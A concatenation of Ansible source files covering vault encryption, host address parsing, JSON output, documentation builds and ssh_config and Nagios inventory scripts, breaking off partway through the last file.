        _, tmp_path = tempfile.mkstemp()

        if existing_data:
            self.write_data(existing_data, tmp_path, shred=False)

        # drop the user into an editor on the tmp file
        try:
            call(self._editor_shell_command(tmp_path))
        except:
            # whatever happens, destroy the decrypted file
            self._shred_file(tmp_path)
            raise

        tmpdata = self.read_data(tmp_path)

        # Do nothing if the content has not changed
        if existing_data == tmpdata and not force_save:
            self._shred_file(tmp_path)
            return

        # encrypt new data and write out to tmp
        enc_data = self.vault.encrypt(tmpdata)
        self.write_data(enc_data, tmp_path)

        # shuffle tmp file into place
        self.shuffle_files(tmp_path, filename)

    def encrypt_file(self, filename, output_file=None):

        check_prereqs()

        plaintext = self.read_data(filename)
        ciphertext = self.vault.encrypt(plaintext)
        self.write_data(ciphertext, output_file or filename)

    def decrypt_file(self, filename, output_file=None):

        check_prereqs()

        ciphertext = self.read_data(filename)
        try:
            plaintext = self.vault.decrypt(ciphertext)
        except AnsibleError as e:
            raise AnsibleError("%s for %s" % (to_bytes(e),to_bytes(filename)))
        self.write_data(plaintext, output_file or filename, shred=False)

    def create_file(self, filename):
        """ create a new encrypted file """

        check_prereqs()

        # FIXME: If we can raise an error here, we can probably just make it
        # behave like edit instead.
        if os.path.isfile(filename):
            raise AnsibleError("%s exists, please use 'edit' instead" % filename)

        self._edit_file_helper(filename)

    def edit_file(self, filename):

        check_prereqs()

        ciphertext = self.read_data(filename)
        try:
            plaintext = self.vault.decrypt(ciphertext)
        except AnsibleError as e:
            raise AnsibleError("%s for %s" % (to_bytes(e),to_bytes(filename)))

        if self.vault.cipher_name not in CIPHER_WRITE_WHITELIST:
            # we want to get rid of files encrypted with the AES cipher
            self._edit_file_helper(filename, existing_data=plaintext, force_save=True)
        else:
            self._edit_file_helper(filename, existing_data=plaintext, force_save=False)

    def plaintext(self, filename):

        check_prereqs()
        ciphertext = self.read_data(filename)

        try:
            plaintext = self.vault.decrypt(ciphertext)
        except AnsibleError as e:
            raise AnsibleError("%s for %s" % (to_bytes(e),to_bytes(filename)))

        return plaintext

    def rekey_file(self, filename, new_password):

        check_prereqs()

        prev = os.stat(filename)
        ciphertext = self.read_data(filename)
        try:
            plaintext = self.vault.decrypt(ciphertext)
        except AnsibleError as e:
            raise AnsibleError("%s for %s" % (to_bytes(e),to_bytes(filename)))

        new_vault = VaultLib(new_password)
        new_ciphertext = new_vault.encrypt(plaintext)

        self.write_data(new_ciphertext, filename)

        # preserve permissions
        os.chmod(filename, prev.st_mode)
        os.chown(filename, prev.st_uid, prev.st_gid)

    def read_data(self, filename):

        try:
            if filename == '-':
                data = sys.stdin.read()
            else:
                with open(filename, "rb") as fh:
                    data = fh.read()
        except Exception as e:
            raise AnsibleError(str(e))

        return data

    def write_data(self, data, filename, shred=True):
        """write data to given path
        
        if shred==True, make sure that the original data is first shredded so 
        that is cannot be recovered
        """
        bytes = to_bytes(data, errors='strict')
        if filename == '-':
            sys.stdout.write(bytes)
        else:
            if os.path.isfile(filename):
                if shred:
                    self._shred_file(filename)
                else:
                    os.remove(filename)
            with open(filename, "wb") as fh:
                fh.write(bytes)

    def shuffle_files(self, src, dest):
        prev = None
        # overwrite dest with src
        if os.path.isfile(dest):
            prev = os.stat(dest)
            # old file 'dest' was encrypted, no need to _shred_file
            os.remove(dest)
        shutil.move(src, dest)

        # reset permissions if needed
        if prev is not None:
            #TODO: selinux, ACLs, xattr?
            os.chmod(dest, prev.st_mode)
            os.chown(dest, prev.st_uid, prev.st_gid)

    def _editor_shell_command(self, filename):
        EDITOR = os.environ.get('EDITOR','vi')
        editor = shlex.split(EDITOR)
        editor.append(filename)

        return editor

class VaultFile(object):

    def __init__(self, password, filename):
        self.password = password

        self.filename = filename
        if not os.path.isfile(self.filename):
            raise AnsibleError("%s does not exist" % self.filename)
        try:
            self.filehandle = open(filename, "rb")
        except Exception as e:
            raise AnsibleError("Could not open %s: %s" % (self.filename, str(e)))

        _, self.tmpfile = tempfile.mkstemp()

    ### TODO:
    # __del__ can be problematic in python... For this use case, make
    # VaultFile a context manager instead (implement __enter__ and __exit__)
    def __del__(self):
        self.filehandle.close()
        os.unlink(self.tmpfile)

    def is_encrypted(self):
        peak = self.filehandle.readline()
        if peak.startswith(b_HEADER):
            return True
        else:
            return False

    def get_decrypted(self):
        check_prereqs()

        if self.is_encrypted():
            tmpdata = self.filehandle.read()
            this_vault = VaultLib(self.password)
            dec_data = this_vault.decrypt(tmpdata)
            if dec_data is None:
                raise AnsibleError("Failed to decrypt: %s" % self.filename)
            else:
                self.tmpfile.write(dec_data)
                return self.tmpfile
        else:
            return self.filename

########################################
#               CIPHERS                #
########################################

class VaultAES:

    # this version has been obsoleted by the VaultAES256 class
    # which uses encrypt-then-mac (fixing order) and also improving the KDF used
    # code remains for upgrade purposes only
    # http://stackoverflow.com/a/16761459

    # Note: strings in this class should be byte strings by default.

    def __init__(self):
        if not HAS_AES:
            raise AnsibleError(CRYPTO_UPGRADE)

    def aes_derive_key_and_iv(self, password, salt, key_length, iv_length):

        """ Create a key and an initialization vector """

        d = d_i = b''
        while len(d) < key_length + iv_length:
            text = b''.join([d_i, password, salt])
            d_i = to_bytes(md5(text).digest(), errors='strict')
            d += d_i

        key = d[:key_length]
        iv = d[key_length:key_length+iv_length]

        return key, iv

    def encrypt(self, data, password, key_length=32):

        """ Read plaintext data from in_file and write encrypted to out_file """

        raise AnsibleError("Encryption disabled for deprecated VaultAES class")

    def decrypt(self, data, password, key_length=32):

        """ Read encrypted data from in_file and write decrypted to out_file """

        # http://stackoverflow.com/a/14989032

        data = unhexlify(data)

        in_file = BytesIO(data)
        in_file.seek(0)
        out_file = BytesIO()

        bs = AES.block_size
        tmpsalt = in_file.read(bs)
        salt = tmpsalt[len(b'Salted__'):]
        key, iv = self.aes_derive_key_and_iv(password, salt, key_length, bs)
        cipher = AES.new(key, AES.MODE_CBC, iv)
        next_chunk = b''
        finished = False

        while not finished:
            chunk, next_chunk = next_chunk, cipher.decrypt(in_file.read(1024 * bs))
            if len(next_chunk) == 0:
                if PY3:
                    padding_length = chunk[-1]
                else:
                    padding_length = ord(chunk[-1])

                chunk = chunk[:-padding_length]
                finished = True

            out_file.write(chunk)
            out_file.flush()

        # reset the stream pointer to the beginning
        out_file.seek(0)
        out_data = out_file.read()
        out_file.close()

        # split out sha and verify decryption
        split_data = out_data.split(b"\n", 1)
        this_sha = split_data[0]
        this_data = split_data[1]
        test_sha = to_bytes(sha256(this_data).hexdigest())

        if this_sha != test_sha:
            raise AnsibleError("Decryption failed")

        return this_data


class VaultAES256:

    """
    Vault implementation using AES-CTR with an HMAC-SHA256 authentication code.
    Keys are derived using PBKDF2
    """

    # http://www.daemonology.net/blog/2009-06-11-cryptographic-right-answers.html

    # Note: strings in this class should be byte strings by default.

    def __init__(self):

        check_prereqs()

    def create_key(self, password, salt, keylength, ivlength):
        hash_function = SHA256

        # make two keys and one iv
        pbkdf2_prf = lambda p, s: HMAC.new(p, s, hash_function).digest()


        derivedkey = PBKDF2(password, salt, dkLen=(2 * keylength) + ivlength,
                            count=10000, prf=pbkdf2_prf)
        return derivedkey

    def gen_key_initctr(self, password, salt):
        # 16 for AES 128, 32 for AES256
        keylength = 32

        # match the size used for counter.new to avoid extra work
        ivlength = 16

        if HAS_PBKDF2HMAC:
            backend = default_backend()
            kdf = PBKDF2HMAC(
                algorithm=c_SHA256(),
                length=2 * keylength + ivlength,
                salt=salt,
                iterations=10000,
                backend=backend)
            derivedkey = kdf.derive(password)
        else:
            derivedkey = self.create_key(password, salt, keylength, ivlength)

        key1 = derivedkey[:keylength]
        key2 = derivedkey[keylength:(keylength * 2)]
        iv = derivedkey[(keylength * 2):(keylength * 2) + ivlength]

        return key1, key2, hexlify(iv)


    def encrypt(self, data, password):

        salt = os.urandom(32)
        key1, key2, iv = self.gen_key_initctr(password, salt)

        # PKCS#7 PAD DATA http://tools.ietf.org/html/rfc5652#section-6.3
        bs = AES.block_size
        padding_length = (bs - len(data) % bs) or bs
        data += to_bytes(padding_length * chr(padding_length), encoding='ascii', errors='strict')

        # COUNTER.new PARAMETERS
        # 1) nbits (integer) - Length of the counter, in bits.
        # 2) initial_value (integer) - initial value of the counter. "iv" from gen_key_initctr

        ctr = Counter.new(128, initial_value=int(iv, 16))

        # AES.new PARAMETERS
        # 1) AES key, must be either 16, 24, or 32 bytes long -- "key" from gen_key_initctr
        # 2) MODE_CTR, is the recommended mode
        # 3) counter=<CounterObject>

        cipher = AES.new(key1, AES.MODE_CTR, counter=ctr)

        # ENCRYPT PADDED DATA
        cryptedData = cipher.encrypt(data)

        # COMBINE SALT, DIGEST AND DATA
        hmac = HMAC.new(key2, cryptedData, SHA256)
        message = b'\n'.join([hexlify(salt), to_bytes(hmac.hexdigest()), hexlify(cryptedData)])
        message = hexlify(message)
        return message

    def decrypt(self, data, password):

        # SPLIT SALT, DIGEST, AND DATA
        data = unhexlify(data)
        salt, cryptedHmac, cryptedData = data.split(b"\n", 2)
        salt = unhexlify(salt)
        cryptedData = unhexlify(cryptedData)

        key1, key2, iv = self.gen_key_initctr(password, salt)

        # EXIT EARLY IF DIGEST DOESN'T MATCH
        hmacDecrypt = HMAC.new(key2, cryptedData, SHA256)
        if not self.is_equal(cryptedHmac, to_bytes(hmacDecrypt.hexdigest())):
            return None

        # SET THE COUNTER AND THE CIPHER
        ctr = Counter.new(128, initial_value=int(iv, 16))
        cipher = AES.new(key1, AES.MODE_CTR, counter=ctr)

        # DECRYPT PADDED DATA
        decryptedData = cipher.decrypt(cryptedData)

        # UNPAD DATA
        try:
            padding_length = ord(decryptedData[-1])
        except TypeError:
            padding_length = decryptedData[-1]

        decryptedData = decryptedData[:-padding_length]

        return decryptedData

    def is_equal(self, a, b):
        """
        Comparing 2 byte arrrays in constant time
        to avoid timing attacks.

        It would be nice if there was a library for this but
        hey.
        """
        # http://codahale.com/a-lesson-in-timing-attacks/
        if len(a) != len(b):
            return False

        result = 0
        for x, y in zip(a, b):
            if PY3:
                result |= x ^ y
            else:
                result |= ord(x) ^ ord(y)
        return result == 0


# Keys could be made bytes later if the code that gets the data is more
# naturally byte-oriented
CIPHER_MAPPING = {
        u'AES': VaultAES,
        u'AES256': VaultAES256,
    }






# Copyright 2015 Abhijit Menon-Sen <ams@2ndQuadrant.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import re
from ansible.errors import AnsibleParserError, AnsibleError

# Components that match a numeric or alphanumeric begin:end or begin:end:step
# range expression inside square brackets.

numeric_range = r'''
    \[
        (?:[0-9]+:[0-9]+)               # numeric begin:end
        (?::[0-9]+)?                    # numeric :step (optional)
    \]
'''

hexadecimal_range = r'''
    \[
        (?:[0-9a-f]+:[0-9a-f]+)         # hexadecimal begin:end
        (?::[0-9]+)?                    # numeric :step (optional)
    \]
'''

alphanumeric_range = r'''
    \[
        (?:
            [a-z]:[a-z]|                # one-char alphabetic range
            [0-9]+:[0-9]+               # ...or a numeric one
        )
        (?::[0-9]+)?                    # numeric :step (optional)
    \]
'''

# Components that match a 16-bit portion of an IPv6 address in hexadecimal
# notation (0..ffff) or an 8-bit portion of an IPv4 address in decimal notation
# (0..255) or an [x:y(:z)] numeric range.

ipv6_component = r'''
    (?:
        [0-9a-f]{{1,4}}|                # 0..ffff
        {range}                         # or a numeric range
    )
'''.format(range=hexadecimal_range)

ipv4_component = r'''
    (?:
        [01]?[0-9]{{1,2}}|              # 0..199
        2[0-4][0-9]|                    # 200..249
        25[0-5]|                        # 250..255
        {range}                         # or a numeric range
    )
'''.format(range=numeric_range)

# A hostname label, e.g. 'foo' in 'foo.example.com'. Consists of alphanumeric
# characters plus dashes (and underscores) or valid ranges. The label may not
# start or end with a hyphen or an underscore. This is interpolated into the
# hostname pattern below. We don't try to enforce the 63-char length limit.

label = r'''
    (?:[\w]|{range})                    # Starts with an alphanumeric or a range
    (?:[\w_-]|{range})*                 # Then zero or more of the same or [_-]
    (?<![_-])                           # ...as long as it didn't end with [_-]
'''.format(range=alphanumeric_range)

patterns = {
    # This matches a square-bracketed expression with a port specification. What
    # is inside the square brackets is validated later.

    'bracketed_hostport': re.compile(
        r'''^
            \[(.+)\]                    # [host identifier]
            :([0-9]+)                   # :port number
            $
        ''', re.X
    ),

    # This matches a bare IPv4 address or hostname (or host pattern including
    # [x:y(:z)] ranges) with a port specification.

    'hostport': re.compile(
        r'''^
            ((?:                        # We want to match:
                [^:\[\]]                # (a non-range character
                |                       # ...or...
                \[[^\]]*\]              # a complete bracketed expression)
            )*)                         # repeated as many times as possible
            :([0-9]+)                   # followed by a port number
            $
        ''', re.X
    ),

    # This matches an IPv4 address, but also permits range expressions.

    'ipv4': re.compile(
        r'''^
            (?:{i4}\.){{3}}{i4}         # Three parts followed by dots plus one
            $
        '''.format(i4=ipv4_component), re.X|re.I
    ),

    # This matches an IPv6 address, but also permits range expressions.
    #
    # This expression looks complex, but it really only spells out the various
    # combinations in which the basic unit of an IPv6 address (0..ffff) can be
    # written, from :: to 1:2:3:4:5:6:7:8, plus the IPv4-in-IPv6 variants such
    # as ::ffff:192.0.2.3.
    #
    # Note that we can't just use ipaddress.ip_address() because we also have to
    # accept ranges in place of each component.

    'ipv6': re.compile(
        r'''^
            (?:{0}:){{7}}{0}|           # uncompressed: 1:2:3:4:5:6:7:8
            (?:{0}:){{1,6}}:|           # compressed variants, which are all
            (?:{0}:)(?::{0}){{1,6}}|    # a::b for various lengths of a,b
            (?:{0}:){{2}}(?::{0}){{1,5}}|
            (?:{0}:){{3}}(?::{0}){{1,4}}|
            (?:{0}:){{4}}(?::{0}){{1,3}}|
            (?:{0}:){{5}}(?::{0}){{1,2}}|
            (?:{0}:){{6}}(?::{0})|      # ...all with 2 <= a+b <= 7
            :(?::{0}){{1,6}}|           # ::ffff(:ffff...)
            {0}?::|                     # ffff::, ::
                                        # ipv4-in-ipv6 variants
            (?:0:){{6}}(?:{0}\.){{3}}{0}|
            ::(?:ffff:)?(?:{0}\.){{3}}{0}|
            (?:0:){{5}}ffff:(?:{0}\.){{3}}{0}
            $
        '''.format(ipv6_component), re.X|re.I
    ),

    # This matches a hostname or host pattern including [x:y(:z)] ranges.
    #
    # We roughly follow DNS rules here, but also allow ranges (and underscores).
    # In the past, no systematic rules were enforced about inventory hostnames,
    # but the parsing context (e.g. shlex.split(), fnmatch.fnmatch()) excluded
    # various metacharacters anyway.
    #
    # We don't enforce DNS length restrictions here (63 characters per label,
    # 253 characters total) or make any attempt to process IDNs.

    'hostname': re.compile(
        r'''^
            {label}                     # We must have at least one label
            (?:\.{label})*              # Followed by zero or more .labels
            $
        '''.format(label=label), re.X|re.I|re.UNICODE
    ),

}

def parse_address(address, allow_ranges=False):
    """
    Takes a string and returns a (host, port) tuple. If the host is None, then
    the string could not be parsed as a host identifier with an optional port
    specification. If the port is None, then no port was specified.

    The host identifier may be a hostname (qualified or not), an IPv4 address,
    or an IPv6 address. If allow_ranges is True, then any of those may contain
    [x:y] range specifications, e.g. foo[1:3] or foo[0:5]-bar[x-z].

    The port number is an optional :NN suffix on an IPv4 address or host name,
    or a mandatory :NN suffix on any square-bracketed expression: IPv6 address,
    IPv4 address, or host name. (This means the only way to specify a port for
    an IPv6 address is to enclose it in square brackets.)
    """

    # First, we extract the port number if one is specified.

    port = None
    for matching in ['bracketed_hostport', 'hostport']:
        m = patterns[matching].match(address)
        if m:
            (address, port) = m.groups()
            port = int(port)
            continue

    # What we're left with now must be an IPv4 or IPv6 address, possibly with
    # numeric ranges, or a hostname with alphanumeric ranges.

    host = None
    for matching in ['ipv4', 'ipv6', 'hostname']:
        m = patterns[matching].match(address)
        if m:
            host = address
            continue

    # If it isn't any of the above, we don't understand it.
    if not host:
        raise AnsibleError("Not a valid network hostname: %s" % address)

    # If we get to this point, we know that any included ranges are valid.
    # If the caller is prepared to handle them, all is well.
    # Otherwise we treat it as a parse failure.
    if not allow_ranges and '[' in host:
        raise AnsibleParserError("Detected range in host but was asked to ignore ranges")

    return (host, port)






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

try:
    import json
except ImportError:
    import simplejson as json

def jsonify(result, format=False):
    ''' format JSON output (uncompressed or uncompressed) '''

    if result is None:
        return "{}"

    indent = None
    if format:
        indent = 4

    try:
        return json.dumps(result, sort_keys=True, indent=indent, ensure_ascii=False)
    except UnicodeDecodeError:
        return json.dumps(result, sort_keys=True, indent=indent)







# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type







#!/usr/bin/env python
# (c) 2012, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of the Ansible Documentation
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import print_function

__docformat__ = 'restructuredtext'

import os
import sys
import traceback
try:
    from sphinx.application import Sphinx
except ImportError:
    print("#################################")
    print("Dependency missing: Python Sphinx")
    print("#################################")
    sys.exit(1)
import os


class SphinxBuilder(object):
    """
    Creates HTML documentation using Sphinx.
    """

    def __init__(self):
        """
        Run the DocCommand.
        """
        print("Creating html documentation ...")

        try:
            buildername = 'html'

            outdir = os.path.abspath(os.path.join(os.getcwd(), "htmlout"))
            # Create the output directory if it doesn't exist
            if not os.access(outdir, os.F_OK):
                os.mkdir(outdir)

            doctreedir = os.path.join('./', '.doctrees')

            confdir = os.path.abspath('./')
            srcdir = os.path.abspath('rst')
            freshenv = True

            # Create the builder
            app = Sphinx(srcdir,
                              confdir,
                              outdir,
                              doctreedir,
                              buildername,
                              {},
                              sys.stdout,
                              sys.stderr,
                              freshenv)

            app.builder.build_all()

        except ImportError:
            traceback.print_exc()
        except Exception as ex:
            print("FAIL! exiting ... (%s)" % ex, file=sys.stderr)

    def build_docs(self):
        self.app.builder.build_all()


def build_rst_docs():
    docgen = SphinxBuilder()

if __name__ == '__main__':
    if '-h' in sys.argv or '--help' in sys.argv:
        print("This script builds the html documentation from rst/asciidoc sources.\n")
        print("    Run 'make docs' to build everything.")
        print("    Run 'make viewdocs' to build and then preview in a web browser.")
        sys.exit(0)

    build_rst_docs()

    if "view" in sys.argv:
        import webbrowser
        if not webbrowser.open('htmlout/index.html'):
            print("Could not open on your webbrowser.", file=sys.stderr)






# -*- coding: utf-8 -*-
#
# documentation build configuration file, created by
# sphinx-quickstart on Sat Sep 27 13:23:22 2008-2009.
#
# This file is execfile()d with the current directory set to its
# containing dir.
#
# The contents of this file are pickled, so don't put values in the namespace
# that aren't pickleable (module imports are okay, they're removed
# automatically).
#
# All configuration values have a default value; values that are commented out
# serve to show the default value.

import sys
import os

# pip install sphinx_rtd_theme
#import sphinx_rtd_theme
#html_theme_path = [sphinx_rtd_theme.get_html_theme_path()]

# If your extensions are in another directory, add it here. If the directory
# is relative to the documentation root, use os.path.abspath to make it
# absolute, like shown here.
#sys.path.append(os.path.abspath('some/directory'))
#
sys.path.insert(0, os.path.join('ansible', 'lib'))
sys.path.append(os.path.abspath('_themes'))

VERSION='2.1'
AUTHOR='Ansible, Inc'


# General configuration
# ---------------------

# Add any Sphinx extension module names here, as strings.
# They can be extensions
# coming with Sphinx (named 'sphinx.ext.*') or your custom ones.
extensions = ['sphinx.ext.autodoc']

# Later on, add 'sphinx.ext.viewcode' to the list if you want to have
# colorized code generated too for references.


# Add any paths that contain templates here, relative to this directory.
templates_path = ['.templates']

# The suffix of source filenames.
source_suffix = '.rst'

# The master toctree document.
master_doc = 'index'

# General substitutions.
project = 'Ansible Documentation'
copyright = "2013-2016 Ansible, Inc"

# The default replacements for |version| and |release|, also used in various
# other places throughout the built documents.
#
# The short X.Y version.
version = VERSION
# The full version, including alpha/beta/rc tags.
release = VERSION

# There are two options for replacing |today|: either, you set today to some
# non-false value, then it is used:
#today = ''
# Else, today_fmt is used as the format for a strftime call.
today_fmt = '%B %d, %Y'

# List of documents that shouldn't be included in the build.
#unused_docs = []

# List of directories, relative to source directories, that shouldn't be
# searched for source files.
#exclude_dirs = []

# A list of glob-style patterns that should be excluded when looking
# for source files.
exclude_patterns = ['modules']

# The reST default role (used for this markup: `text`) to use for all
# documents.
#default_role = None

# If true, '()' will be appended to :func: etc. cross-reference text.
#add_function_parentheses = True

# If true, the current module name will be prepended to all description
# unit titles (such as .. function::).
#add_module_names = True

# If true, sectionauthor and moduleauthor directives will be shown in the
# output. They are ignored by default.
#show_authors = False

# The name of the Pygments (syntax highlighting) style to use.
pygments_style = 'sphinx'

highlight_language = 'yaml'

#Substitutions, variables, entities, & shortcuts for text which do not need to link to anything. 
#For titles which should be a link, use the intersphinx anchors set at the index, chapter, and section levels, such as  qi_start_:
rst_epilog = """
.. |acapi| replace:: *Ansible Core API Guide*
.. |acrn| replace:: *Ansible Core Release Notes*
.. |ac| replace:: Ansible Core
.. |acversion| replace:: Ansible Core Version 2.1
.. |acversionshort| replace:: Ansible Core 2.1
.. |versionshortest| replace:: 2.1
.. |versiondev| replace:: 2.2
.. |pubdate| replace:: July 19, 2016
.. |rhel| replace:: Red Hat Enterprise Linux

"""


# Options for HTML output
# -----------------------

html_theme_path = ['_themes']
html_theme = 'srtd'
html_short_title = 'Ansible Documentation'

# The style sheet to use for HTML and HTML Help pages. A file of that name
# must exist either in Sphinx' static/ path, or in one of the custom paths
# given in html_static_path.
#html_style = 'solar.css'

# The name for this set of Sphinx documents.  If None, it defaults to
# "<project> v<release> documentation".
html_title = 'Ansible Documentation'

# A shorter title for the navigation bar.  Default is the same as html_title.
#html_short_title = None

# The name of an image file (within the static path) to place at the top of
# the sidebar.
#html_logo = None

# The name of an image file (within the static path) to use as favicon of the
# docs.  This file should be a Windows icon file (.ico) being 16x16 or 32x32
# pixels large.
#html_favicon = 'favicon.ico'

# Add any paths that contain custom static files (such as style sheets) here,
# relative to this directory. They are copied after the builtin static files,
# so a file named "default.css" will overwrite the builtin "default.css".
#html_static_path = ['.static']

# If not '', a 'Last updated on:' timestamp is inserted at every page bottom,
# using the given strftime format.
html_last_updated_fmt = '%b %d, %Y'

# If true, SmartyPants will be used to convert quotes and dashes to
# typographically correct entities.
#html_use_smartypants = True

# Custom sidebar templates, maps document names to template names.
#html_sidebars = {}

# Additional templates that should be rendered to pages, maps page names to
# template names.
#html_additional_pages = {}

# If false, no module index is generated.
#html_use_modindex = True

# If false, no index is generated.
#html_use_index = True

# If true, the index is split into individual pages for each letter.
#html_split_index = False

# If true, the reST sources are included in the HTML build as _sources/<name>.
html_copy_source = False

# If true, an OpenSearch description file will be output, and all pages will
# contain a <link> tag referring to it.  The value of this option must be the
# base URL from which the finished HTML is served.
#html_use_opensearch = ''

# If nonempty, this is the file name suffix for HTML files (e.g. ".xhtml").
#html_file_suffix = ''

# Output file base name for HTML help builder.
htmlhelp_basename = 'Poseidodoc'


# Options for LaTeX output
# ------------------------

# The paper size ('letter' or 'a4').
#latex_paper_size = 'letter'

# The font size ('10pt', '11pt' or '12pt').
#latex_font_size = '10pt'

# Grouping the document tree into LaTeX files. List of tuples
# (source start file, target name, title, author, document class
# [howto/manual]).
latex_documents = [
  ('index', 'ansible.tex', 'Ansible 1.2 Documentation',
   AUTHOR, 'manual'),
]

# The name of an image file (relative to this directory) to place at the top of
# the title page.
#latex_logo = None

# For "manual" documents, if this is true, then toplevel headings are parts,
# not chapters.
#latex_use_parts = False

# Additional stuff for the LaTeX preamble.
#latex_preamble = ''

# Documents to append as an appendix to all manuals.
#latex_appendices = []

# If false, no module index is generated.
#latex_use_modindex = True

autoclass_content = 'both'






"""Sphinx ReadTheDocs theme.

From https://github.com/ryan-roemer/sphinx-bootstrap-theme.

"""
import os

VERSION = (0, 1, 5)

__version__ = ".".join(str(v) for v in VERSION)
__version_full__ = __version__


def get_html_theme_path():
    """Return list of HTML theme paths."""
    cur_dir = os.path.abspath(os.path.dirname(os.path.dirname(__file__)))
    return cur_dir






#!/usr/bin/env python

# (c) 2014, Tomas Karasek <tomas.karasek@digile.fi>
#
# This file is part of Ansible.
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible. If not, see <http://www.gnu.org/licenses/>.

# Dynamic inventory script which lets you use aliases from ~/.ssh/config.
#
# There were some issues with various Paramiko versions. I took a deeper look
# and tested heavily. Now, ansible parses this alright with Paramiko versions
# 1.7.2 to 1.15.2.
#
# It prints inventory based on parsed ~/.ssh/config. You can refer to hosts
# with their alias, rather than with the IP or hostname. It takes advantage
# of the ansible_ssh_{host,port,user,private_key_file}.
#
# If you have in your .ssh/config:
#   Host git
#       HostName git.domain.org
#       User tkarasek
#       IdentityFile /home/tomk/keys/thekey
#
#   You can do
#       $ ansible git -m ping
#
# Example invocation:
#    ssh_config.py --list
#    ssh_config.py --host <alias>

import argparse
import os.path
import sys
import paramiko

try:
    import json
except ImportError:
    import simplejson as json

SSH_CONF = '~/.ssh/config'

_key = 'ssh_config'

_ssh_to_ansible = [('user', 'ansible_ssh_user'),
                  ('hostname', 'ansible_ssh_host'),
                  ('identityfile', 'ansible_ssh_private_key_file'),
                  ('port', 'ansible_ssh_port')]


def get_config():
    if not os.path.isfile(os.path.expanduser(SSH_CONF)):
        return {}
    with open(os.path.expanduser(SSH_CONF)) as f:
        cfg = paramiko.SSHConfig()
        cfg.parse(f)
        ret_dict = {}
        for d in cfg._config:
            if type(d['host']) is list:
                alias = d['host'][0]
            else:
                alias = d['host']
            if ('?' in alias) or ('*' in alias):
                continue
            _copy = dict(d)
            del _copy['host']
            if 'config' in _copy:
                ret_dict[alias] = _copy['config']
            else:
                ret_dict[alias] = _copy
        return ret_dict


def print_list():
    cfg = get_config()
    meta = {'hostvars': {}}
    for alias, attributes in cfg.items():
        tmp_dict = {}
        for ssh_opt, ans_opt in _ssh_to_ansible:
            if ssh_opt in attributes:
                # If the attribute is a list, just take the first element.
                # Private key is returned in a list for some reason.
                attr = attributes[ssh_opt]
                if type(attr) is list:
                    attr = attr[0]
                tmp_dict[ans_opt] = attr
        if tmp_dict:
            meta['hostvars'][alias] = tmp_dict

    print(json.dumps({_key: list(set(meta['hostvars'].keys())), '_meta': meta}))


def print_host(host):
    cfg = get_config()
    print(json.dumps(cfg[host]))


def get_args(args_list):
    parser = argparse.ArgumentParser(
            description='ansible inventory script parsing .ssh/config')
    mutex_group = parser.add_mutually_exclusive_group(required=True)
    help_list = 'list all hosts from .ssh/config inventory'
    mutex_group.add_argument('--list', action='store_true', help=help_list)
    help_host = 'display variables for a host'
    mutex_group.add_argument('--host', help=help_host)
    return parser.parse_args(args_list)


def main(args_list):

    args = get_args(args_list)
    if args.list:
        print_list()
    if args.host:
        print_host(args.host)


if __name__ == '__main__':
    main(sys.argv[1:])






#!/usr/bin/env python

# (c) 2014, Jonathan Lestrelin <jonathan.lestrelin@gmail.com>
#
# This file is part of Ansible,
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible. If not, see <http://www.gnu.org/licenses/>.

"""
Nagios NDO external inventory script.
========================================

Returns hosts and hostgroups from Nagios NDO.

Configuration is read from `nagios_ndo.ini`.
"""

import os
import argparse
try:
    import configparser
except ImportError:
    import ConfigParser
    configparser = ConfigParser
import json

try:
    from sqlalchemy import text
    from sqlalchemy.engine import create_engine
